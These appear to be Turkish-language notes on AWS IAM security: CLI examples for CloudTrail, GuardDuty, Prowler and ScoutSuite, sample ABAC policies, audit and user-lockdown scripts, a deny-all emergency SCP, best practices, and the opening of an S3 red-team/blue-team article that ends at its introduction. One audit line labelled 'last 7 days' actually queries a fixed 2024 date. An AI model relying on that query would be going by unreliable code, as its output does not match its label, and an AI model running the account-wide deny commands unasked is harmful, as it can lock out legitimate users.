aws accessanalyzer list-findings --analyzer-arn arn:aws:access-analyzer:us-east-1:123456789012:analyzer/ConsoleAnalyzer-account

🛠️ AWS Güvenlik Araçları ve GitHub Bağlantıları

1. AWS Config IAM Kuralları

• Amaç: AWS ortamınızda sürekli uyumluluk izlemesi sağlar.

• Özellikler: MFA, şifre politikaları, kullanılmayan kimlik bilgileri gibi denetimler yapar.

• Kullanım Örneği:

  aws configservice put-config-rule --config-rule file://iam-mfa-rule.json

2. AWS CloudTrail

• Amaç: IAM API çağrılarını ve kullanıcı etkinliklerini izler.

• Özellikler: API çağrılarını kaydeder, kullanıcı etkinliklerini analiz eder.

• Kullanım Örneği:
  

  aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser
  

• GitHub Bağlantısı: AWS CloudTrail İşleme Kütüphanesi - GitHub

3. AWS GuardDuty

• Amaç: Davranışsal tehditleri tespit eder.

• Özellikler: Kompromize olmuş kimlik bilgilerini, olağandışı erişim desenlerini tespit eder.

• Kullanım Örneği:

aws guardduty create-detector --enable

4. Prowler

• Amaç: AWS güvenlik denetimi ve uyumluluk aracı.

• Özellikler: CIS AWS temelleri, GDPR, HIPAA gibi ek denetimler içerir.

• Kullanım Örneği:

./prowler -c check_iam_mfa_enabled_for_root

• GitHub Bağlantısı: Prowler - GitHub

5. ScoutSuite

• Amaç: Çoklu bulut güvenlik denetimi aracı.

• Özellikler: AWS, Azure, GCP gibi platformlarda güvenlik durumu değerlendirmesi yapar.

• Kullanım Örneği:

  python scout.py aws --report-dir ./repo

![[Pasted image 20250821125637.png]]

Şekil 5: Değerlendirme, izleme, analiz ve otomasyon katmanlarının birlikte çalıştığı kapsamlı IAM güvenlik araçları ekosistemi

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": "arn:aws:s3:::company-data/*",
"Condition": {
"StringEquals": {
"s3:ExistingObjectTag/Department": "${aws:PrincipalTag/Department}"
}
}
}
]
}

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "ec2:*",
"Resource": "*",
"Condition": {
"DateGreaterThan": {
"aws:CurrentTime": "08:00Z"
},
"DateLessThan": {
"aws:CurrentTime": "18:00Z"
}
}
}
]
}

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:PrincipalTag/Department": "${aws:ResourceTag/Department}",
"aws:PrincipalTag/Project": "${aws:ResourceTag/Project}"
},
"Bool": {
"aws:MultiFactorAuthPresent": "true"
},
"IpAddress": {
"aws:SourceIp": "203.0.113.0/24"
}
}
}
]
}

Hızlı güvenlik değerlendirmesi

echo "=== IAM Güvenlik Değerlendirmesi ==="
echo "MFA'sız kullanıcılar:"
for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
  mfa=$(aws iam list-mfa-devices --user-name $user --query 'MFADevices' --output text)
  [[ -z "$mfa" ]] && echo " - $user"
done

echo "Son 7 gün içinde oluşturulan kullanıcılar:"
aws iam list-users --query 'Users[?CreateDate>=`2024-01-01`].{User:UserName,Created:CreateDate}' --output table

echo "Aşırı yetkilendirilmiş politikalar:"
aws iam list-policies --scope Local --query 'Policies[?contains(PolicyName, `Admin`)].PolicyName' --output text

Acil kullanıcı kilitleme

USER_TO_LOCK="compromised-user"

# Konsol erişimini devre dışı bırak
aws iam delete-login-profile --user-name $USER_TO_LOCK 2>/dev/null

# Tüm erişim anahtarlarını devre dışı bırak
for key in $(aws iam list-access-keys --user-name $USER_TO_LOCK --query 'AccessKeyMetadata[].AccessKeyId' --output text); do
  aws iam update-access-key --user-name $USER_TO_LOCK --access-key-id $key --status Inactive
done

# Reddetme politikası ekle
aws iam put-user-policy --user-name $USER_TO_LOCK --policy-name EmergencyDeny --policy-document '{
  "Version": "2012-10-17",
  "Statement": [{"Effect": "Deny", "Action": "*", "Resource": "*"}]
}'

Kullanıcı etkinliği analizi

aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=$USER_TO_LOCK --start-time 2024-01-01 --query 'Events[].{Time:EventTime,Event:EventName,Source:SourceIPAddress}' --output table

aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=$USER_TO_LOCK --query 'Events[?EventName==`CreateUser` || EventName==`CreateRole` || EventName==`CreateAccessKey`]' --output json

AWS Güvenlik Önlemleri Önerileri

1. Tüm bölgelerde CloudTrail’i etkinleştir

2. IAM kurallarıyla Config’i yapılandır

3. GuardDuty ile anomali tespiti yap

4. AWS Organizations ve SCP kullan

5. Tüm kullanıcılar için MFA zorunlu kıl

6. Güçlü şifre politikası uygula

7. Doğrudan kullanıcı politikaları yerine IAM gruplarını kullan

8. Düzenli erişim incelemeleri ve temizleme yap

9. Tüm IAM varlıklarını tutarlı şekilde etiketle

10. En az ayrıcalık prensibini uygula

11. ABAC ile dinamik erişim kontrolü uygula

12. Düzenli ayrıcalık yükseltme testleri yap

13. Gerektiğinde erişim (just-in-time) uygula

14. Ayrıcalık yükseltmelerini izle

15. Erişim anahtarlarını düzenli olarak döndür (maks. 90 gün)

16. Uygulamalar için IAM rollerini kullan

17. AWS Secrets Manager kullan

18. Kod içinde hardcoded kimlik bilgisi kullanma

19. Kimlik bilgisi kullanımını izle

20. IAM olayları için CloudWatch alarmları kur

21. Düzenli güvenlik değerlendirmeleri yap

22. Uyumluluk çerçeveleri ile eşleştir

23. Olay müdahale prosedürleri uygula

24. Güvenlik farkındalık eğitimi ver

Acil SCP oluşturma (AWS Organizations gerektirir)

cat > emergency-lockdown-scp.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalTag/EmergencyAccess": "true"
}
}
}
]
}
EOF

aws organizations create-policy --name EmergencyLockdown --type SERVICE_CONTROL_POLICY --content file://emergency-lockdown-scp.json

Hızlı IAM güvenlik denetimi

echo "=== KRİTİK IAM SORUNLARI ==="
echo "Yönetici erişimine sahip kullanıcılar:"
aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --query 'PolicyUsers[].UserName' --output text

echo "Root erişim anahtarları (0 olmalı):"
aws iam get-account-summary --query 'SummaryMap.AccountAccessKeysPresent'

echo "Kullanılmamış olabilecek erişim anahtarları (90 günden eski):"
aws iam generate-credential-report
sleep 5
aws iam get-credential-report --query 'Content' --output text | base64 -d | awk -F',' 'NR>1 && $11!="N/A" {if((systime()-mktime(gensub(/[-T:]/, " ", "g", $11) " 00"))/86400 > 90) print $1 ": " $11}'

Stratejik Güvenlik İlkeleri

1. Katmanlı Savunma (Defense in Depth): Tek bir güvenlik kontrolü gelişmiş IAM saldırılarına karşı yeterli değildir. ABAC politikaları, sürekli izleme, davranış analizi ve otomatik yanıt kombinasyonu güçlü bir savunma sağlar.

2. Proaktif Tehdit Avı: Tehditleri önceden tespit etmek ve engellemek kritik öneme sahiptir. Reaktif güvenlik yeterli değildir.

3. Otomasyon Çarpan Etkisi: Modern bulut ortamlarının ölçeği ve hızı, otomatik güvenlik yanıtlarını gerektirir. Manuel müdahale, sofistike saldırılara yetişemez.

4. Sürekli İyileştirme: Güvenlik sürekli yinelemeli bir süreçtir. Her olay, savunmayı güçlendirmek için değerli bilgidir.

5. Sıfır Güven Mimarisi (Zero Trust): “Asla güvenme, her zaman doğrula” prensibi temel yaklaşım haline gelecektir.

6. Makine Öğrenimi Entegrasyonu: Davranış analitiği ve anomali tespiti daha sofistike hale gelerek ince saldırı desenlerini gerçek zamanlı tespit edebilir.

Cloud Security 2

Amazon S3 (Simple Storage Service), modern bulut depolamanın temel taşıdır; statik web sitesi varlıklarından petabaytlarca kritik iş verisine kadar her şey için neredeyse sonsuz bir depo sunar. Ölçeklenebilirliği, dayanıklılığı ve maliyet etkinliği, onu geliştiriciler, veri bilimciler ve işletmeler için vazgeçilmez bir araç hâline getirmiştir. S3’ü devasa, dijital bir Fort Knox olarak hayal edin; hazinelerini korumak için katmanlı savunmalarla son derece güvenli olabilir. Ancak her kale gibi, güvenliği yalnızca yapılandırmalarının doğruluğu kadar güçlüdür. Tek bir yanlış yapılandırılmış izin, gözden kaçmış bir politika veya ele geçirilmiş bir kimlik bilgisi, arka kapıyı açabilir ve dijital kasanızı saldırganın oyun alanına dönüştürebilir.

Bu makale, sadece bir S3 en iyi uygulamaları listesi değildir. S3 güvenliği için süregelen mücadeleyi iki perspektiften anlatır: Red Team’den kararlı bir saldırgan olan Alex ve Blue Team’den dikkatli bir savunmacı olan Blake. Saldırganların S3 kovalarını keşfetmek, istismar etmek ve veri çıkarmak için kullandıkları gölgeli taktikleri inceleyeceğiz. Ardından savunmacının bakış açısına geçerek, AWS’in zengin güvenlik araçlarını kullanarak çok katmanlı bir savunma stratejisini detaylı şekilde inşa edeceğiz.

Saldırı ve savunmaya geçmeden önce, S3’ü hem güçlü hem de karmaşık bir güvenlik sorunu yapan özelliklerini anlayalım.

Temel S3 Kavramları:

• Buckets (Kovalar): S3’teki temel konteynerler. Kova adları global olarak benzersiz olmalıdır.

• Objects (Objeler): S3’te depolanan veri (dosyalar) ve metadata’ları. Objeler birkaç bayttan terabaytlara kadar olabilir.

• Keys (Anahtarlar): Bir kovadaki objelerin benzersiz tanımlayıcıları (temel olarak dosya yolu).

• Regions (Bölgeler): S3 kovaları belirli AWS bölgelerinde oluşturulur; bu gecikme, maliyet ve düzenleyici uyumluluğu etkiler.

S3’ün Temel Özellikleri ve Güvenlik Etkileri:

Neden S3 Hedef Alınır?

Saldırganlar S3’e çeşitli nedenlerle ilgi duyar:

1. Veri Zenginliği: Kişisel bilgiler, finansal kayıtlar, fikri mülkiyet, kimlik bilgileri, yedekler ve uygulama kodları içerir.

2. Yanlış Yapılandırma Yaygınlığı: Esneklik ve geçmişteki karmaşık erişim kontrolleri nedeniyle hatalar sık görülür.

3. Halka Açıklık Potansiyeli: İnternet üzerinden erişilebilir olması yanlış yapılandırılmış kovalarda global veri sızıntısı riski yaratır.

4. Otomasyon & Ölçeklenebilirlik: Saldırganlar, açık kovaları taramak ve istismar etmek için script ve araçlar kullanır.

Saldırganımız Alex metodiktir. Alex, başarılı bir S3 ihlalinin genellikle sabırlı keşif ve ince yapılandırma hatalarını fark etme ile başladığını bilir. Hedef organizasyonla ilişkili S3 kovalarını belirleyip zayıf noktaları test etmeyi amaçlar.

Bu metni takip eden aşamalar şunları hedefler:

• Gelişmiş S3 Açıklarını Anlamak: Yaygın ve sofistike yanlış yapılandırmaları ve etkilerini kavramak.

• Saldırgan Yöntemlerini Öğrenmek: Saldırganların S3 kovalarını nasıl keşfettiğini, eriştiğini ve kullandığını anlamak.

• Sağlam Savunma Stratejileri Uygulamak: IAM, bucket policies, şifreleme, logging, monitoring ve diğer AWS servislerini kullanarak S3’ü güvence altına almak.

• Gerçekçi Senaryoları İncelemek: Detaylı ihlal ve müdahale senaryolarını analiz etmek.

• Pratik Araç ve Komutları Kullanmak: AWS CLI komutları, policy örnekleri ve üçüncü taraf araçlarla S3 güvenliğini yönetmek.

• Sürekli Gözetimin Önemini Kavramak: S3 güvenliği tek seferlik bir kurulum değil, sürekli bir süreçtir.

Yazının Devamı